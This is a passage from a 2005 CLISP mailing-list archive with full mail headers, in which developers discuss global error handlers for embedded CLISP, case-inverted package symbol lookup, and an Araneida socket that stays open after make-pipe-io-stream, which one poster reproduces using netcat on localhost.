charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:exrY0x0RDoMXfWDGTVoGSmUOcMA= X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 7 00:32:31 2005 X-Original-Date: Sun, 07 Aug 2005 00:24:37 -0700 Sam Steingold writes: >> * Surendra Singhi [2005-08-05 23:59:35 -0700]: >> >> The problem which I was facing was that if the user inputs a valid >> construct to the interpreter things work fine, but if he inputs >> something wrong lisp crashes. So, to avoid it, I tried condition >> handling use "handler-case", but when I use handler case, lisp crashes >> even for valid inputs. > > I think you want to use global error handlers > (they were created specifically for the sake of embedding CLISP) > > Sam thanks, I was using 2.33.83 it wasn't there, but then I downloaded 2.34 and I found it. It seems to be all fine, except how do I prevent it from landing in the debugger? (defun error-handler(ERR) (format *error-output* "error ~&~A: ~% ~S~%" (class-name (class-of err)) err)) (EXT:SET-GLOBAL-HANDLER 'condition #'error-handler) I tried using the above code. Thanks once again. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "War is Peace! Freedom is Slavery! Ignorance is Strength!" - Orwell, 1984, 1948 From sds@gnu.org Sun Aug 07 11:39:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E1q3W-0001kT-NL for clisp-list@lists.sourceforge.net; Sun, 07 Aug 2005 11:39:30 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E1q3V-0005rY-Bu for clisp-list@lists.sourceforge.net; Sun, 07 Aug 2005 11:39:30 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp04.mrf.mail.rcn.net with ESMTP; 07 Aug 2005 14:39:27 -0400 X-IronPort-AV: i="3.95,173,1120449600"; d="scan'208"; a="67638012:sNHT121995680" To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Sun, 07 Aug 2005 00:24:37 -0700") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 7 11:40:34 2005 X-Original-Date: Sun, 07 Aug 2005 14:38:40 -0400 > * Surendra Singhi [2005-08-07 00:24:37 -0700]: > > Sam Steingold writes: > >>> * Surendra Singhi [2005-08-05 23:59:35 -0700]: >>> >>> The problem which I was facing was that if the user inputs a valid >>> construct to the interpreter things work fine, but if he inputs >>> something wrong lisp crashes. So, to avoid it, I tried condition >>> handling use "handler-case", but when I use handler case, lisp crashes >>> even for valid inputs. >> >> I think you want to use global error handlers >> (they were created specifically for the sake of embedding CLISP) >> >> > Sam thanks, I was using 2.33.83 it wasn't there, but then I downloaded 2.34 > and I found it. It seems to be all fine, except how do I prevent it from > landing in the debugger? > > (defun error-handler(ERR) > (format *error-output* "error ~&~A: ~% ~S~%" > (class-name (class-of err)) err)) > (EXT:SET-GLOBAL-HANDLER 'condition #'error-handler) if you want to _handle_ the error, the handler must not return. see ABORTONERROR in clisp/src/condition.lisp -- Sam Steingold (http://www.podval.org/~sds) running w2k Stupidity, like virtue, is its own reward. From sds@gnu.org Sun Aug 07 11:55:17 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E1qIn-0002U7-1I for clisp-list@lists.sourceforge.net; Sun, 07 Aug 2005 11:55:17 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E1qIj-0000Ao-Rx for clisp-list@lists.sourceforge.net; Sun, 07 Aug 2005 11:55:17 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp04.mrf.mail.rcn.net with ESMTP; 07 Aug 2005 14:55:13 -0400 X-IronPort-AV: i="3.95,173,1120449600"; d="scan'208"; a="67641719:sNHT19902804" To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Sun, 07 Aug 2005 00:24:37 -0700") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 7 11:57:42 2005 X-Original-Date: Sun, 07 Aug 2005 14:54:25 -0400 > * Surendra Singhi [2005-08-07 00:24:37 -0700]: > >> -- Sam Steingold (http://www.podval.org/~sds) running w2k If You Want Breakfast In Bed, Sleep In the Kitchen. From lisp-clisp-list@m.gmane.org Sun Aug 07 18:22:08 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E1wL9-0005Tl-RB for clisp-list@lists.sourceforge.net; Sun, 07 Aug 2005 18:22:07 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E1wL7-0002iO-VP for clisp-list@lists.sourceforge.net; Sun, 07 Aug 2005 18:22:07 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1E1wL1-0006Ok-F2 for clisp-list@lists.sourceforge.net; Mon, 08 Aug 2005 03:21:59 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 08 Aug 2005 03:21:59 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 08 Aug 2005 03:21:59 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 62 Message-ID: References: <17140.62823.23495.34834@thalassa.informatimago.com> <17141.13876.730904.757850@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:QypWfpbx5/+gsBztSNw5xiMfixY= X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 7 18:23:03 2005 X-Original-Date: Sun, 07 Aug 2005 18:20:46 -0700 Pascal Bourguignon writes: > Surendra Singhi writes: >> Pascal Bourguignon writes: >> >> > Surendra Singhi writes: >> >> Hi, >> >> I am trying to embed an interpreter inside my application. I call a function >> >> in the "dll" and the dll then calls back a function into lisp. And this then >> >> starts the lisp interpreter. The problem which I was facing was that if the >> >> user inputs a valid construct to the interpreter things work fine, but if he >> >> inputs something wrong lisp crashes. So, to avoid it, I tried condition >> >> handling use "handler-case", but when I use handler case, lisp crashes even >> >> for valid inputs. >> >> >> >> Is this a known problem, or is it only specific to what I am doing? >> >> > [...code snipped...] >> >> Hello Pascal, >> >> Thanks for your repl-code, its very educative. But I am still facing the >> original problem with FFI and handler-case. > > You should be more precise. Give more code. > [..code snipped..] Thanks for the code. I did some further investigation into my problem, and it is really behaving weirdly. I will summarize the behavior below: [1] If I load the file once, execute, then I am shown the repl prompt, but any input makes lisp crash. [2]When I load the file twice (will show a warning), execute, then repl works for correct input, but lisp crashes with invalid input. [3] Load the file once, make a mistake so that lisp shows an error message, then execute, things work as expected, for near about 10-12 times, but after that lisp crashes. [4]When I just run the repl, no problem whatsoever. The dll file which I am using is available at http://cvs.sourceforge.net/viewcvs.py/wxcl/miscellaneous/ and the lisp source code is available here http://www.public.asu.edu/~sksinghi/test.lisp The C source code can be accessed at http://cvs.sourceforge.net/viewcvs.py/wxcl/wxc/ Thanks, I appreciate you help. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "War is Peace! Freedom is Slavery! Ignorance is Strength!" - Orwell, 1984, 1948 From sds@gnu.org Tue Aug 09 11:04:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E2YSv-000447-5t for clisp-list@lists.sourceforge.net; Tue, 09 Aug 2005 11:04:41 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E2YSr-0007x6-Tb for clisp-list@lists.sourceforge.net; Tue, 09 Aug 2005 11:04:41 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1E2Wdn-0002eb-IK for clisp-list@lists.sourceforge.net; Tue, 09 Aug 2005 09:07:48 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j79G4jQZ004619; Tue, 9 Aug 2005 12:04:45 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0305298854@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 26 Jul 2005 17:37:50 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0305298854@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: idiom for finding symbols in modern packages Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 9 11:05:43 2005 X-Original-Date: Tue, 09 Aug 2005 12:04:00 -0400 > * Hoehle, Joerg-Cyril [2005-07-26 17:37:50 +0200]: > > what's the proposed idiom to work around the "modern" package > behaviour that it implies CASE-INVERTED-ness? > > (find-symbol "GetCurrentProcessId" "WIN32") > always returns NIL. > > I think 'd shoot at somebody writing > (find-symbol "gETcURRENTpROCESSiD" :win32) > because that's completely misses the original point modern mode wants to address, which was to be able to refer to symbols using the same capitalization as within other programming languages. > > Note that a literal 'win32:GetCurrent... symbol in source code is not suitable, because the package does not exist on some user's machines, so there could be a reader error at load or compile time. > > Is there anything better than > ... (and (find-package "WIN32") > (read-from-string "WIN32:GetCurrentProcessId")) > ?? (and (find-package "WIN32") (find-symbol (string-case-invert "GetCurrentProcessId") "WIN32")) (defun string-case-invert (s) (map 'string (lambda (c) (cond ((upper-casep c) (char-downcase c)) ((lower-casep c) (char-upcase c)) (t c))) s)) maybe we should export STRING-CASE-INVERT as well as (defun find-string (string package) (find-symbol (if (package-case-inverted-p package) (string-case-invert string) string) package)) -- Sam Steingold (http://www.podval.org/~sds) running w2k In the race between idiot-proof software and idiots, the idiots are winning. From goenzoy@gmx.net Tue Aug 09 11:43:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E2Z4o-0006fD-8P for clisp-list@lists.sourceforge.net; Tue, 09 Aug 2005 11:43:50 -0700 Received: from pop.gmx.net ([213.165.64.20] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1E2Z4L-0001nn-I4 for clisp-list@lists.sourceforge.net; Tue, 09 Aug 2005 11:43:50 -0700 Received: (qmail 9131 invoked by uid 0); 9 Aug 2005 09:43:10 -0000 Received: from 192.18.240.11 by www67.gmx.net with HTTP; Tue, 9 Aug 2005 11:43:10 +0200 (MEST) From: "Gottfried Zojer" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated: #9295279 Message-ID: <31949.1123580590@www67.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] =?ISO-8859-1?Q?CLISP_bytecode_-->_Java_bytecode_Open_Tasks?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 9 11:45:57 2005 X-Original-Date: Tue, 9 Aug 2005 11:43:10 +0200 (MEST) Hallo , I can read on the homepage of the project that a translation of CLISP bytecode into Java bytecode is still a open task. Is anybody on this list in the position to tell me more about. Any feedback welcomed also if there is any connection with the Jacol project. Thanks Rgds Gottfried From kai.kaminski@gmail.com Tue Aug 09 12:07:25 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E2ZRd-00089N-1I for clisp-list@lists.sourceforge.net; Tue, 09 Aug 2005 12:07:25 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E2ZEQ-0001Ki-4X for clisp-list@lists.sourceforge.net; Tue, 09 Aug 2005 11:53:48 -0700 Received: from rproxy.gmail.com ([64.233.170.200]) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1E2VUt-0005KF-74 for clisp-list@lists.sourceforge.net; Tue, 09 Aug 2005 07:54:31 -0700 Received: by rproxy.gmail.com with SMTP id j1so1120277rnf for ; Tue, 09 Aug 2005 07:54:26 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:user-agent:x-accept-language:mime-version:to:subject:content-type:content-transfer-encoding; b=CgiVeO0/FdAwmr6C8nt7bdbhC7vyQulgovznVK7jqRzTPy+1/kfhcVpDISUP3K+UVQNYuFMEiYRA523t9NXCLqdQ9vYpMhqhQokqDsplo9M0rrXFfOGSVbKOtbIFv72ybG2/pcB3Bm3rDiK6URqHNs1SRRtc0fSYl1Fo4R6Ogfo= Received: by 10.39.2.24 with SMTP id e24mr2947096rni; Tue, 09 Aug 2005 07:54:25 -0700 (PDT) Received: from ?192.168.2.100? ([84.159.73.72]) by mx.gmail.com with ESMTP id k23sm5979339rnb.2005.08.09.07.54.24; Tue, 09 Aug 2005 07:54:25 -0700 (PDT) Message-ID: <42F8C3B9.2070401@gmail.com> From: Kai Kaminski User-Agent: Mozilla Thunderbird 1.0.2 (Macintosh/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 2.0 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.5 WEIRD_PORT URI: Uses non-standard port number for HTTP -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Araneida: make-pipe-io-stream in handle-request-response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 9 12:09:18 2005 X-Original-Date: Tue, 09 Aug 2005 16:54:49 +0200 Hi, I'm using Clisp 2.33.2 on MacOS X/Ubuntu Linux and I have the following problem. If I call EXT:MAKE-PIPE-IO-STREAM in my handle-request-response method, the method returns and the page content is delivered but the connection is never closed and hence the browser waits forever. If I add a call to SOCKET-STREAM-SHUTDOWN with direction :OUTPUT everything seems to work as usual, but I'm still curious how the call to MAKE-PIPE-IO-STREAM manages to mess things up. The following program demonstrates the issue (it is derived from Araneida's example.lisp): (defpackage "MY-ARANEIDA-EXAMPLE" (:use "CL" "ARANEIDA")) (in-package :my-araneida-example) (defvar *demo-url* (make-url :scheme "http" :host "localhost" ;(my-fqdn) :port 8000)) (defvar *listener* (make-instance #-araneida-uses-threads 'serve-event-http-listener :port (url-port *demo-url*))) (defclass hello-handler (handler) ()) (defmethod handle-request-response ((handler hello-handler) method request) (request-send-headers request) (html-stream (request-stream request) `(html (head (title "Hello world")) (body (h1 "Hello World!")))) (finish-output (request-stream request)) ; (socket:socket-stream-shutdown (request-stream request) :output) (format (ext:make-pipe-io-stream "nc localhost 1234") "Hello world!") (format t "Handler returns ...~%") t) (install-handler (http-listener-handler *listener*) (make-instance 'hello-handler) (urlstring (merge-url *demo-url* "/hello")) t) To try this, load araneida, then start some program listening on port 1234 (e.g. nc -l -p 1234) and then do (start-listening *listener*) and (host-serve-events). Then try to load http://localhost:8000/hello (127.0.0.1 won't do). I've tried this with several versions of Firefox, Safari and w3m. If you uncomment the line where SOCKET-STREAM-SHUTDOWN is called, everything should work. Cheers, Kai From c.turle@wanadoo.fr Wed Aug 10 12:12:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E2vzw-0000Ay-RE for clisp-list@lists.sourceforge.net; Wed, 10 Aug 2005 12:12:20 -0700 Received: from smtp2.wanadoo.fr ([193.252.22.29]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E2vzv-000596-DS for clisp-list@lists.sourceforge.net; Wed, 10 Aug 2005 12:12:20 -0700 Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0203.wanadoo.fr (SMTP Server) with ESMTP id AB5A11C001DB for ; Wed, 10 Aug 2005 21:12:10 +0200 (CEST) Received: from verbobonc (ARennes-352-1-56-218.w81-53.abo.wanadoo.fr [81.53.163.218]) by mwinf0203.wanadoo.fr (SMTP Server) with SMTP id 67D181C001CD for ; Wed, 10 Aug 2005 21:12:10 +0200 (CEST) X-ME-UUID: 20050810191210425.67D181C001CD@mwinf0203.wanadoo.fr Message-ID: <000901c59ddf$64b57a90$0e01a8c0@verbobonc> From: "christophe turle" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] programmatically defining a method Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 10 12:14:21 2005 X-Original-Date: Wed, 10 Aug 2005 21:12:03 +0200 How can i create at run-time a new method since the 'clos:make-method-lambda' gf is not implemented ? From sds@gnu.org Wed Aug 10 12:20:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E2w7T-0000Vz-9p for clisp-list@lists.sourceforge.net; Wed, 10 Aug 2005 12:20:07 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E2w7R-0005Aw-Q9 for clisp-list@lists.sourceforge.net; Wed, 10 Aug 2005 12:20:07 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7AJJprJ002459; Wed, 10 Aug 2005 15:19:52 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never 